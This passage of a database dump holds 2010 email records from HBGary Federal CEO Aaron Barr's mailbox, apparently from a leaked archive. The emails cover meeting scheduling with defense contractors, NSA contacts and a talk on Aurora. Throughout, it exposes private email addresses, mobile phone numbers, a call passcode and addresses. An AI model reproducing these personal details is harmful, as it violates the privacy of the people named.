to\r\n        Bryan Boyce\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Scott Sheldon\r\nis now connected to\r\n            John Sciandra\r\n,             Ron Wontrop\r\n,             Ken Sweltz\r\n,       and 2 other people.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nTomorrow I lecture at CMU in Dr. Morel\'s cyber war course and spend rest of day at CERT.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nInteresting meeting in NY last night with mix of govt and financial executives. Now in Pgh seeing old friend and brilliant man: Benoit Morel      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Chris Collins\r\nRT @Dusanwriter: Phones killed virtual world bubble? Law, change, twitter. http://ow.ly/1Dyxu Interesting article      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Chris Collins has joined 2 groups, including\r\n      \r\n      Australia Games Jobs\r\n      and\r\n      Virtual Worlds and Gaming Professionals\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Katherine Green has joined\r\n    JIEDDO\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    David Nagel recommends\r\ncolleague      Bob Nagel\r\n          Owner at Nagel &amp; Company\r\n        My dad is a great man who is honest, loyal and dedicated. How can I now recommend such a great perso...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',15434,'aaron_hbgary_com/15434.html'),(5771,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004225.M7750P14101Q626.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','Ira,\r\n\r\nDo you have a few minutes.  I am wondering what your thoughts are on the call.  Next steps from your perspective.  I believe we have a few items we told the customer we would deliver to them.\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n\r\n> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n> Where: (888) 311-8177; code 7038893900\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3505,'aaron_hbgary_com/3505.html'),(5772,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004227.M3115P14101Q627.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Slides so far','\r\n\r\nI still have some work on these but wanted your input.\r\n\r\nI think based on your information more needs to be added as well.\r\n\r\nAaron\r\n\r\nOn Apr 28, 2010, at 4:25 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> I could not see any slides. Please send as powerpoint file or as pdf.\r\n> \r\n> Bob \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, April 28, 2010 3:09 PM\r\n> To: Bob Slapnik\r\n> Subject: Slides so far\r\n> \r\n> Hey Bob,\r\n> \r\n> Tell me what you think so far.  Still working on them.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2840 - Release Date: 04/28/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9015,'aaron_hbgary_com/9015.html'),(5773,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004227.M693480P14101Q628.eml','\"Penny Leavy\" <penny@hbgary.com>','BIOs','We had our BIOs in the initial announcement.\r\n\r\nhttp://www.darkreading.com/securityservices/security/government/showArticle.jhtml?articleID=222000831\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6497,'aaron_hbgary_com/6497.html'),(5774,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004228.M323498P14101Q630.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Aurora Talk','Scott,\r\n\r\nThanks again for inviting me to talk on Aurora.  Let me know a few good dates we could get together and talk.\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 3:38 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> The easiest thing for me is if you\'re comfortable e-mailing the\r\n> Powerpoint presentation to me today or early tomorrow.\r\n> \r\n> That way I can get it all loaded up on my account and have everything\r\n> set to go when you get here.\r\n> \r\n> Scott\r\n> \r\n> -----Original Message-----\r\n> From: Estell, Timothy W. \r\n> Sent: Monday, April 26, 2010 11:37 AM\r\n> To: Aaron Barr\r\n> Cc: Sheldon, Scott W.\r\n> Subject: RE: Aurora Talk\r\n> \r\n> Either or both the laptop and thumb drive.\r\n> \r\n> Scott? \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 26, 2010 11:34 AM\r\n> To: Estell, Timothy W.\r\n> Subject: Re: Aurora Talk\r\n> \r\n> Great.  Should I bring the presentation on a laptop and plug in or on a\r\n> thumb drive, or email?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n> \r\n>> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n>> \r\n>> As you walk in the front door you\'ll see the conference center doors.\r\n>> We\'ll meet on the ground floor. \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, April 26, 2010 9:31 AM\r\n>> To: Estell, Timothy W.\r\n>> Subject: Aurora Talk\r\n>> \r\n>> Hey Tim,\r\n>> \r\n>> Can you send me the location of the talk for tomorrow?\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15957,'aaron_hbgary_com/15957.html'),(5775,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004228.M46792P14101Q629.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','Hey Irby,\r\n\r\nHows your Friday look?\r\n\r\nI have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n\r\n> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n> \r\n> Also, have you been in discussions with Paul Rooney from CSC?\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n> \r\n>> Irby,\r\n>> \r\n>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>> Aaron\r\n>> \r\n>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>> \r\n>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>> \r\n>>> 		-irby\r\n>>> 	\r\n>>> \r\n>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>> \r\n>>>>> 	-Irby\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3455,'aaron_hbgary_com/3455.html'),(5776,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004228.M596705P14101Q631.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Thursday dinner','When would you like to get together next? &nbsp;I think you said something about next week?AaronOn Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\nYup. See you tomorrow. \r\n_____________________\r\n    Sent from my Blackberry. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Lachow, Irving\r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;; nathan.atherley@gmail.com &lt;nathan.atherley@gmail.com&gt;\r\nSent: Tue Apr 06 13:45:34 2010Subject: Re: Thursday dinner\r\n\r\nIrving,Are you still planning on attending the Palantir conference tomorrow? &nbsp;HBGary will have a booth, so please stop by.AaronOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16852,'aaron_hbgary_com/16852.html'),(5777,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004228.M841070P14101Q632.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Tomorrow','Jim Barnett no longer with Northrop? &nbsp;I didn\'t think he was going to retire this early.Alright Mr. Busy man. &nbsp;When is the next time your in town. &nbsp;Give me a call.I am starting to not feel very loved.Hope all is well.AaronOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron) wrote:Oh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then staying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back up to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday morning.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 20, 2010 9:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Tomorrow&nbsp;Hey no worries. &nbsp;I understand. &nbsp;Just wanted to make sure everything was ok.&nbsp;Talk to you tomorrow.&nbsp;We have been getting some really good traction at NSA the last few days, more meetings there next week.&nbsp;Aaron&nbsp;&nbsp;On Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:Aaron,I am very sorry that I have not been very responsive&nbsp;for the last few days.&nbsp; Had travel last week and just can’t get caught up.&nbsp; Will call you tomorrow to get caught up.Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10155,'aaron_hbgary_com/10155.html'),(5778,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004229.M343985P14101Q634.eml','\"David Etue\" <david.etue@fidelissecurity.com>,\"Bob Slapnik\" <bob@hbgary.com>','Opportunity','https://www.fbo.gov/index?s=opportunity&mode=form&id=8a83d867727e20017fa94feccd9c32f9&tab=core&_cview=0\r\n\r\nWhat do you guys think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7537,'aaron_hbgary_com/7537.html'),(5779,'2010-04-29','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004229.M600042P14101Q635.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Opportunity','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Opportunity\r\n\r\n\r\n\r\n\r\nI am out of the office on business travel returning to the office on April 30.&nbsp;&nbsp; I will have limited access to e-mail and voice mail during this time, but will be checking at least daily.&nbsp;\r\n\r\nIf your matter is urgent, please contact Fidelis Security Systems at +1 (301) 652-7190 and ask for assistance.\r\n\r\nSincerely,\r\nDavid Etue\r\n\r\n\r\n\r\n',10235,'aaron_hbgary_com/10235.html'),(5780,'2010-04-29','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004229.M831310P14101Q636.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','how does your day look tomorrow to speak?\r\n\r\n\r\nOn Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n\r\nIra,\r\n\r\nDo you have a few minutes.  I am wondering what your thoughts are on the call.  Next steps from your perspective.  I believe we have a few items we told the customer we would deliver to them.\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n\r\n> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n> Where: (888) 311-8177; code 7038893900\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11782,'aaron_hbgary_com/11782.html'),(5781,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004229.M92457P14101Q633.eml','\"Ray Owen\" <ray.owen@comcast.net>','Re: Friday meeting','Hi Ray,Checking through email, seeing who I need to touch base with. &nbsp;Anytime in the near future your in town?AaronOn Apr 1, 2010, at 11:22 PM, Ray Owen wrote:\r\n\r\nAaron,\r\n\r\nI want to apologize for having a conflict tomorrow. When I planned this\r\ntrip, tomorrow was supposed to be a free morning before the flight\r\nhome. Then our government customer planned a Friday morning sponsor\r\nbriefing on the commercial integration demo proposal that includes\r\nHBGary. It was going to be government-only, so we still didn\'t have\r\nbeen a conflict. Then I got the message that government-only didn\'t\r\nexclude me. In fact, they wanted me to brief it. Great, except in the\r\nrush to review and tweak the briefing and change my return flight, I\r\ntotally spaced on our breakfast plans until I was updating my calendar.\r\n\r\nIf you are available tomorrow afternoon, I can travel to meet with you,\r\nor we can meet in Crystal City if that\'s convenient. Otherwise, I know\r\nI\'ll be back again in a couple of weeks.\r\n\r\nThanks,\r\nRay\r\n-- \r\n\r\nRay Owen|ray.owen@comcast.net|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9505,'aaron_hbgary_com/9505.html'),(5782,'2010-04-29','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004230.M435302P14101Q638.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Aaron.&nbsp; Just been overloaded with everything and the\r\nbaby.&nbsp; On vacation this week in Hilton Head.&nbsp;&nbsp; Met with Jim last\r\nweek in Millersville where he told us to get in on NCC-3.&nbsp; He retired last\r\nFriday but I am not sure what his plan is.&nbsp; I asked but he was coy.&nbsp;\r\nIt sounds as if he is retiring for 3 months then joining another company.&nbsp;\r\nHe said a few times that we would be seeing him so I assume that is as a\r\nconsultant but he would not fess up to anything.\r\n\r\n&nbsp;\r\n\r\nTrying to get some whitepapers put together for First IO and\r\nJTF-GNO on IG.&nbsp; Ted Wagner has signed up to get me a requirements doc on\r\nmalware automation for First IO but have not gotten it yet but he says he is\r\nworking it.&nbsp; Hopefully, that will be the entry point for First IO.&nbsp;\r\nProctor, deputy to future head of ARCyber (Custer) was supposed to be in on\r\nWednesday next week but it just got cancelled.&nbsp; Going down to San Antonio\r\nin May just trying to get a date set.&nbsp; Still trying to get 10 Fleet\r\nfollowup mtg set up.\r\n\r\nHow about you?\r\n\r\n&nbsp;\r\n\r\nI am really sorry.&nbsp; Will call you next Monday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 11:04 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJim Barnett no longer with Northrop? &nbsp;I didn\'t think he\r\nwas going to retire this early.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlright Mr. Busy man. &nbsp;When is the next time your in\r\ntown. &nbsp;Give me a call.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am starting to not feel very loved.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope all is well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then\r\nstaying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back\r\nup to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday morning.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, April 20,\r\n2010 9:53 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey no worries. &nbsp;I understand. &nbsp;Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive&nbsp;for the last few days.&nbsp; Had\r\ntravel last week and just can&#8217;t get caught up.&nbsp; Will call you\r\ntomorrow to get caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16260,'aaron_hbgary_com/16260.html'),(5783,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004230.M758270P14101Q639.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Tomorrow','From my iPhoneBegin forwarded message:From: &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: April 29, 2010 6:38:07 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Tomorrow\r\n\r\n\r\n\r\n\r\nSorry Aaron.  Just been overloaded with everything and the\r\nbaby.  On vacation this week in Hilton Head.   Met with Jim last\r\nweek in Millersville where he told us to get in on NCC-3.  He retired last\r\nFriday but I am not sure what his plan is.  I asked but he was coy. \r\nIt sounds as if he is retiring for 3 months then joining another company. \r\nHe said a few times that we would be seeing him so I assume that is as a\r\nconsultant but he would not fess up to anything.\r\n\r\n \r\n\r\nTrying to get some whitepapers put together for First IO and\r\nJTF-GNO on IG.  Ted Wagner has signed up to get me a requirements doc on\r\nmalware automation for First IO but have not gotten it yet but he says he is\r\nworking it.  Hopefully, that will be the entry point for First IO. \r\nProctor, deputy to future head of ARCyber (Custer) was supposed to be in on\r\nWednesday next week but it just got cancelled.  Going down to San Antonio\r\nin May just trying to get a date set.  Still trying to get 10 Fleet\r\nfollowup mtg set up.\r\n\r\nHow about you?\r\n\r\n \r\n\r\nI am really sorry.  Will call you next Monday.  \r\n\r\n \r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 11:04 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nJim Barnett no longer with Northrop?  I didn&#39;t think he\r\nwas going to retire this early.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlright Mr. Busy man.  When is the next time your in\r\ntown.  Give me a call.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am starting to not feel very loved.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope all is well.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh yeah.  Am in town 